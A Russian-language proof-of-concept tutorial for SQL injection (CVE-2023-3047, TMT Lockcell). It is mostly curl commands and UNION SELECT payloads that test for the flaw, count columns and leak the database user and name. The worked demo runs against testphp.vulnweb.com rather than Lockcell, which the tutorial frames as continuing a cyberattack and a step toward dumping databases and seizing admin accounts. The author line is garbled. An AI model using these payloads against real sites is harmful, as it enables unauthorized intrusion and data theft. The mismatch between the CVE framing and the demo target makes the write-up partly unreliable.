
Эксплойт доказательства концепции уязвимости SQL-инъекции CVE-2023-3047 в TMT Lockcell. Демонстрирует ручную эксплуатацию с помощью cURL и Burp Suite для перечисления пользователей и схем базы данных.
@ghostman_s3c or @Chrome202417L22i227Keet23QCNaeCyrQ6xfiTQpQJ5Неправильная нейтрализация специальных элементов, используемых в SQL-команде (SQL-инъекция), в TMT Lockcell позволяет выполнить SQL-инъекцию. Данная проблема затрагивает Lockcell: версии до 15.
Сначала проверим, присутствует ли ошибка CVE-2023-3047. Теперь откройте терминал и убедитесь, что каждый терминал поддерживает инструмент cURL.
curl <your_url_vulnerable> | grep "at line"
после ввода, если отображается как 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1, значит, ваш сайт страдает от ошибки CVE-2023-3047.
хорошо, далее мы попробуем узнать, блокирует ли этот сайт такие атаки инъекций. Используйте следующую команду и попробуйте ее:
curl <your_url_vulnerable>+Union+Select+1,2,3--+- | grep "The used SELECT"
и нажмите Enter. Если отобразится как на изображении ниже, то у вас есть лакомая добыча.
И теперь вам следует продолжить с полезной нагрузкой union select от 1 до определенного числа, которое считается допустимым для количества столбцов веб-сайта MySQL.
хорошо, моя цель имеет допустимое количество столбцов от 1 до 11. На изображении ниже два совершенно разных результата: сверху все еще есть The used SELECT, а снизу — нет.
И теперь я зайду в Google и проверю, соответствует ли это вышеуказанным результатам или нет, и, кстати, я получу еще одно число, из которого можно извлечь информацию.
Что ж, похоже, это полностью допустимый результат, и есть 3 числа, которые мы можем внедрить для получения информации.
и теперь мы потренируемся внедрять SQL-команды для получения информации.
и мы будем использовать полезную нагрузку: +Union+Select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+-
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,CONCAT(user(),'::',database()),8,9,10,11--+- | grep "::"
о-о, похоже, эта команда не очень хороша, потому что мы не закодировали полезную нагрузку в URL.
и теперь моя задача — закодировать эту полезную нагрузку в URL-путь, чтобы продолжить кибератаку.
Мы будем использовать Burp Suite для их кодирования.
Теперь выберите Decoder, затем выберите Encode as в левой части экрана, затем выберите URL и введите свою полезную нагрузку. Что касается моей вышеуказанной ошибки, в ней есть специальные символы, такие как : (, ). Они не соответствуют требованиям, поэтому я просто закодирую команду вставки, чтобы получить информацию о базе данных.
CONCAT(user(),'::',database())
curl http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
и после ввода, на этом игра окончена: имя пользователя и база данных раскрыты. Более того, хакеры могут внедрять другие полезные нагрузки, чтобы получить больше информации, например, дамп базы данных для кражи информации или получения контроля над администратором сайта.
Итак, игра окончена: имя пользователя — acuart@localhost, а имя базы данных — acuart.